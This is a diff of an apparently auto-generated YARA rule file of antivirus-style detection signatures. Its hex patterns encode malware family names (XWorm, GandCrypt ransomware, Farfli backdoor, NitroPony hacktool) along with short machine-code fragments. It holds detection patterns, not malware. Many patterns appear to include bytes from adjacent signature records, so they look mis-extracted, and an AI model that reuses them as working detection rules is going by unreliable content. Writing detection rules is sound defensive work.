_InfrastructureShared_2595{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2596{ +rule _InfrastructureShared_2626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26898,7 +27226,7 @@ rule _InfrastructureShared_2596{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2597{ +rule _InfrastructureShared_2627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26908,7 +27236,7 @@ rule _InfrastructureShared_2597{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2598{ +rule _InfrastructureShared_2628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26918,7 +27246,7 @@ rule _InfrastructureShared_2598{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2599{ +rule _InfrastructureShared_2629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26928,7 +27256,7 @@ rule _InfrastructureShared_2599{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2600{ +rule _InfrastructureShared_2630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26938,7 +27266,7 @@ rule _InfrastructureShared_2600{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2601{ +rule _InfrastructureShared_2631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26948,7 +27276,7 @@ rule _InfrastructureShared_2601{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2602{ +rule _InfrastructureShared_2632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26958,7 +27286,7 @@ rule _InfrastructureShared_2602{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2603{ +rule _InfrastructureShared_2633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26968,7 +27296,7 @@ rule _InfrastructureShared_2603{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2604{ +rule _InfrastructureShared_2634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26978,7 +27306,7 @@ rule _InfrastructureShared_2604{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2605{ +rule _InfrastructureShared_2635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26988,7 +27316,7 @@ rule _InfrastructureShared_2605{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2606{ +rule _InfrastructureShared_2636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26998,7 +27326,7 @@ rule _InfrastructureShared_2606{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2607{ +rule _InfrastructureShared_2637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27008,7 +27336,7 @@ rule _InfrastructureShared_2607{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2608{ +rule _InfrastructureShared_2638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27018,7 +27346,7 @@ rule _InfrastructureShared_2608{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2609{ +rule _InfrastructureShared_2639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27028,7 +27356,7 @@ rule _InfrastructureShared_2609{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2610{ +rule _InfrastructureShared_2640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27038,7 +27366,7 @@ rule _InfrastructureShared_2610{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2611{ +rule _InfrastructureShared_2641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27048,7 +27376,7 @@ rule _InfrastructureShared_2611{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2612{ +rule _InfrastructureShared_2642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27058,7 +27386,7 @@ rule _InfrastructureShared_2612{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2613{ +rule _InfrastructureShared_2643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27068,7 +27396,7 @@ rule _InfrastructureShared_2613{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2614{ +rule _InfrastructureShared_2644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27078,7 +27406,7 @@ rule _InfrastructureShared_2614{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2615{ +rule _InfrastructureShared_2645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27088,7 +27416,7 @@ rule _InfrastructureShared_2615{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2616{ +rule _InfrastructureShared_2646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27098,7 +27426,7 @@ rule _InfrastructureShared_2616{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2617{ +rule _InfrastructureShared_2647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27108,7 +27436,7 @@ rule _InfrastructureShared_2617{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2618{ +rule _InfrastructureShared_2648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27118,7 +27446,7 @@ rule _InfrastructureShared_2618{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2619{ +rule _InfrastructureShared_2649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27128,7 +27456,7 @@ rule _InfrastructureShared_2619{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2620{ +rule _InfrastructureShared_2650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27138,7 +27466,7 @@ rule _InfrastructureShared_2620{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2621{ +rule _InfrastructureShared_2651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27148,7 +27476,7 @@ rule _InfrastructureShared_2621{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2622{ +rule _InfrastructureShared_2652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27158,7 +27486,7 @@ rule _InfrastructureShared_2622{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2623{ +rule _InfrastructureShared_2653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27168,7 +27496,7 @@ rule _InfrastructureShared_2623{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2624{ +rule _InfrastructureShared_2654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27178,7 +27506,7 @@ rule _InfrastructureShared_2624{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2625{ +rule _InfrastructureShared_2655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27188,7 +27516,7 @@ rule _InfrastructureShared_2625{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2626{ +rule _InfrastructureShared_2656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27198,7 +27526,7 @@ rule _InfrastructureShared_2626{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_2627{ +rule _InfrastructureShared_2657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27208,7 +27536,7 @@ rule _InfrastructureShared_2627{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2628{ +rule _InfrastructureShared_2658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27218,7 +27546,7 @@ rule _InfrastructureShared_2628{ ((#a_72_0 & 1)*22051) >=1 } -rule _InfrastructureShared_2629{ +rule _InfrastructureShared_2659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27228,7 +27556,7 @@ rule _InfrastructureShared_2629{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2630{ +rule _InfrastructureShared_2660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -27239,7 +27567,7 @@ rule _InfrastructureShared_2630{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25965) >=1 } -rule _InfrastructureShared_2631{ +rule _InfrastructureShared_2661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -27250,7 +27578,7 @@ rule _InfrastructureShared_2631{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*12082) >=1 } -rule _InfrastructureShared_2632{ +rule _InfrastructureShared_2662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -27261,7 +27589,7 @@ rule _InfrastructureShared_2632{ ((#a_54_0 & 1)*18467+(#a_4f_1 & 1)*12851) >=1 } -rule _InfrastructureShared_2633{ +rule _InfrastructureShared_2663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -27272,7 +27600,7 @@ rule _InfrastructureShared_2633{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24434) >=1 } -rule _InfrastructureShared_2634{ +rule _InfrastructureShared_2664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -27283,7 +27611,7 @@ rule _InfrastructureShared_2634{ ((#a_5f_0 & 1)*25635+(#a_01_1 & 1)*204) >=1 } -rule _InfrastructureShared_2635{ +rule _InfrastructureShared_2665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -27295,7 +27623,7 @@ rule _InfrastructureShared_2635{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*22360+(#a_00_2 & 1)*0) >=1 } -rule _InfrastructureShared_2636{ +rule _InfrastructureShared_2666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -27305,7 +27633,7 @@ rule _InfrastructureShared_2636{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_2637{ +rule _InfrastructureShared_2667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -27315,7 +27643,17 @@ rule _InfrastructureShared_2637{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_2638{ +rule _InfrastructureShared_2668{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 45 44 50 58 21 4d 54 42 00 02 00 16 02 03 08 02 03 08 91 08 04 90 01 05 9c 08 17 d6 0c 08 07 31 ea 90 00 00 00 78 43 00 00 02 00 02 00 01 00 21 23 54 45 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_2669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -27325,7 +27663,7 @@ rule _InfrastructureShared_2638{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_2639{ +rule _InfrastructureShared_2670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -27335,7 +27673,7 @@ rule _InfrastructureShared_2639{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_2640{ +rule _InfrastructureShared_2671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -27346,7 +27684,7 @@ rule _InfrastructureShared_2640{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*24428) >=2 } -rule _InfrastructureShared_2641{ +rule _InfrastructureShared_2672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -27357,7 +27695,7 @@ rule _InfrastructureShared_2641{ ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*24428) >=2 } -rule _InfrastructureShared_2642{ +rule _InfrastructureShared_2673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -27368,7 +27706,7 @@ rule _InfrastructureShared_2642{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*12082) >=2 } -rule _InfrastructureShared_2643{ +rule _InfrastructureShared_2674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -27379,7 +27717,7 @@ rule _InfrastructureShared_2643{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*12082) >=2 } -rule _InfrastructureShared_2644{ +rule _InfrastructureShared_2675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -27390,7 +27728,7 @@ rule _InfrastructureShared_2644{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*8564) >=2 } -rule _InfrastructureShared_2645{ +rule _InfrastructureShared_2676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -27401,7 +27739,7 @@ rule _InfrastructureShared_2645{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*21295) >=2 } -rule _InfrastructureShared_2646{ +rule _InfrastructureShared_2677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -27412,7 +27750,7 @@ rule _InfrastructureShared_2646{ ((#a_77_0 & 1)*19491+(#a_43_1 & 1)*2560) >=2 } -rule _InfrastructureShared_2647{ +rule _InfrastructureShared_2678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -27423,41 +27761,51 @@ rule _InfrastructureShared_2647{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*114) >=2 } -rule _InfrastructureShared_2648{ +rule _InfrastructureShared_2679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 47 6f 53 4c 6f 61 64 65 72 00 01 00 0b 01 4c 65 67 65 6e 64 73 2e 65 78 65 01 00 0c 01 00 47 6f 53 20 4c 6f 61 64 65 72 00 01 00 07 01 6e 65 77 2e 64 6c 6c 00 00 78 43 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e } //18467 - $a_4f_1 = {66 75 73 63 61 74 6f 72 2e 51 47 00 01 00 04 01 03 40 3c e9 01 00 04 01 8b 40 78 e9 01 00 04 01 c1 c0 07 e9 00 00 78 43 00 00 05 00 05 00 01 } //12851 - $a_41_2 = {46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 47 61 6e 64 43 72 79 70 74 2e 45 41 41 4e 21 4d 54 42 00 05 } //8448 + $a_4f_1 = {66 75 73 63 61 74 6f 72 2e 51 47 00 01 00 04 01 03 40 3c e9 01 00 04 01 8b 40 78 e9 01 00 04 01 c1 c0 07 e9 00 00 78 43 00 00 04 00 04 00 03 } //12851 + $a_50_2 = {41 3a 42 6c 6f 63 6b 3a 53 65 70 64 6f 74 00 02 00 05 80 01 61 54 75 62 65 01 00 0c 80 01 6f 70 74 69 6f } //8448 condition: - ((#a_54_0 & 1)*18467+(#a_4f_1 & 1)*12851+(#a_41_2 & 1)*8448) >=3 + ((#a_54_0 & 1)*18467+(#a_4f_1 & 1)*12851+(#a_50_2 & 1)*8448) >=3 } -rule _InfrastructureShared_2649{ +rule _InfrastructureShared_2680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : - $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 51 47 00 01 00 04 01 03 40 3c e9 01 00 04 01 8b 40 78 e9 01 00 04 01 c1 c0 07 e9 00 00 78 43 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 } //18467 - $a_6e_1 = {43 72 79 70 74 2e 45 41 41 4e 21 4d 54 42 00 05 00 11 01 8a 94 06 32 09 00 00 88 14 08 8b 7c 24 10 40 3b c7 00 00 78 43 00 00 06 00 06 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 6b 65 55 70 64 61 74 65 2e 45 4e 21 4d 54 42 00 06 00 12 01 56 8d 4c 24 18 4a 8b 31 } //18223 - $a_0b_2 = {c6 4a 75 f6 5e c3 00 00 78 43 00 00 } //-15997 + $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 51 47 00 01 00 04 01 03 40 3c e9 01 00 04 01 8b 40 78 e9 01 00 04 01 c1 c0 07 e9 00 00 78 43 00 00 04 00 04 00 03 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 53 65 70 64 6f 74 } //18467 + $a_54_2 = {62 65 01 00 0c 80 01 6f 70 74 69 6f 6e 61 6c 50 61 67 65 01 00 08 80 01 44 6f 74 53 65 74 75 70 00 00 78 43 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6f 72 65 62 6c 61 6d 79 2e 50 47 4e 42 21 4d 54 42 00 05 00 10 01 8b 02 8b 45 fc 8b 45 0c 89 01 } //384 condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*18223+(#a_0b_2 & 1)*-15997) >=3 + ((#a_54_0 & 1)*18467+(#a_54_2 & 1)*384) >=3 } -rule _InfrastructureShared_2650{ +rule _InfrastructureShared_2681{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 53 65 70 64 6f 74 00 02 00 05 80 01 61 54 75 62 65 01 00 0c 80 01 6f 70 74 69 6f 6e 61 6c 50 61 67 65 01 00 08 80 01 44 6f 74 53 65 74 75 70 00 00 78 43 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e } //20515 + $a_65_1 = {6c 61 6d 79 2e 50 47 4e 42 21 4d 54 42 00 05 00 10 01 8b 02 8b 45 fc 8b 45 0c 89 01 ff 06 83 3e 23 74 00 00 78 43 00 00 06 00 06 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 6b 65 55 70 64 61 74 65 2e 45 4e 21 4d 54 42 00 06 00 12 01 56 8d 4c 24 18 4a 8b 31 83 c1 0c 0b c6 4a 75 f6 5e c3 00 00 78 43 00 00 07 00 07 } //28517 + condition: + ((#a_41_0 & 1)*20515+(#a_65_1 & 1)*28517) >=4 + +} +rule _InfrastructureShared_2682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " strings : - $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 47 61 6e 64 43 72 79 70 74 2e 45 41 41 4e 21 4d 54 42 00 05 00 11 01 8a 94 06 32 09 00 00 88 14 08 8b 7c 24 10 40 3b c7 00 00 78 43 00 00 06 00 06 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 } //16675 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6f 72 65 62 6c 61 6d 79 2e 50 47 4e 42 21 4d 54 42 00 05 00 10 01 8b 02 8b 45 fc 8b 45 0c 89 01 ff 06 83 3e 23 74 00 00 78 43 00 00 06 00 06 00 01 00 21 23 54 45 } //21539 condition: - ((#a_46_0 & 1)*16675) >=5 + ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_2651{ +rule _InfrastructureShared_2683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 01 00 21 " @@ -27467,7 +27815,7 @@ rule _InfrastructureShared_2651{ ((#a_4c_0 & 1)*21539) >=6 } -rule _InfrastructureShared_2652{ +rule _InfrastructureShared_2684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 01 00 21 " @@ -27477,17 +27825,27 @@ rule _InfrastructureShared_2652{ ((#a_54_0 & 1)*18467) >=7 } -rule _InfrastructureShared_2653{ +rule _InfrastructureShared_2685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " strings : - $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 46 61 72 66 6c 69 2e 50 57 48 21 4d 54 42 00 0a 00 13 03 8a 0a 32 08 8b 55 90 01 01 03 55 90 01 01 88 0a e9 90 00 00 00 78 43 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a } //16675 + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 46 61 72 66 6c 69 2e 50 57 48 21 4d 54 42 00 0a 00 13 03 8a 0a 32 08 8b 55 90 01 01 03 55 90 01 01 88 0a e9 90 00 00 00 78 43 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 50 45 52 3a 48 61 } //16675 condition: ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_2654{ +rule _InfrastructureShared_2686{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 4e 69 74 72 6f 50 6f 6e 79 2e 41 21 64 68 61 00 0a 00 10 01 a2 5c b7 83 43 99 b3 4c a1 00 cd 92 73 70 ab a9 00 00 78 43 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a } //16675 + condition: + ((#a_46_0 & 1)*16675) >=10 + +} +rule _InfrastructureShared_2687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -27497,7 +27855,7 @@ rule _InfrastructureShared_2654{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_2655{ +rule _InfrastructureShared_2688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -27507,7 +27865,7 @@ rule _InfrastructureShared_2655{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_2656{ +rule _InfrastructureShared_2689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -27518,7 +27876,7 @@ rule _InfrastructureShared_2656{ ((#a_6c_0 & 1)*16675+(#a_f5_1 & 1)*-28640) >=20 } -rule _InfrastructureShared_2657{ +rule _InfrastructureShared_2690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 01 00 21 " @@ -27528,7 +27886,7 @@ rule _InfrastructureShared_2657{ ((#a_46_0 & 1)*16675) >=50 } -rule _InfrastructureShared_2658{ +rule _InfrastructureShared_2691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -27538,7 +27896,7 @@ rule _InfrastructureShared_2658{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_2659{ +rule _InfrastructureShared_2692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -27548,7 +27906,7 @@ rule _InfrastructureShared_2659{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_2660{ +rule _InfrastructureShared_2693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -27558,7 +27916,7 @@ rule _InfrastructureShared_2660{ ((#a_54_0 & 1)*18467) >=100 } -rule _InfrastructureShared_2661{ +rule _InfrastructureShared_2694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27568,7 +27926,7 @@ rule _InfrastructureShared_2661{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2662{ +rule _InfrastructureShared_2695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27578,7 +27936,7 @@ rule _InfrastructureShared_2662{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2663{ +rule _InfrastructureShared_2696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27588,7 +27946,7 @@ rule _InfrastructureShared_2663{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2664{ +rule _InfrastructureShared_2697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27598,7 +27956,7 @@ rule _InfrastructureShared_2664{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2665{ +rule _InfrastructureShared_2698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27608,7 +27966,7 @@ rule _InfrastructureShared_2665{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2666{ +rule _InfrastructureShared_2699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -27618,17 +27976,27 @@ rule _InfrastructureShared_2666{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2667{ +rule _InfrastructureShared_2700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_46_0 = {59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 43 48 41 4f 53 5f 50 61 79 6c 6f 61 64 00 01 00 13 01 2f 43 48 41 4f 53 00 02 73 79 6e 63 2f 61 74 6f 6d 69 63 00 00 78 44 00 00 01 00 01 00 01 00 21 23 41 6c 6c 6f 77 4c 69 73 } //16675 + $a_46_0 = {59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 43 48 41 4f 53 5f 50 61 79 6c 6f 61 64 00 01 00 13 01 2f 43 48 41 4f 53 00 02 73 79 6e 63 2f 61 74 6f 6d 69 63 00 00 78 44 00 00 01 00 01 00 01 00 21 23 41 4c 46 50 45 52 3a 54 } //16675 condition: ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2668{ +rule _InfrastructureShared_2701{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 74 61 67 6f 72 2e 41 21 64 68 61 00 01 00 14 01 67 6f 72 67 6f 6e 5f 77 69 6e 64 6f 77 73 5f 61 6d 64 36 34 00 00 78 44 00 00 01 00 01 00 01 00 21 23 41 6c 6c 6f 77 4c 69 73 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_2702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 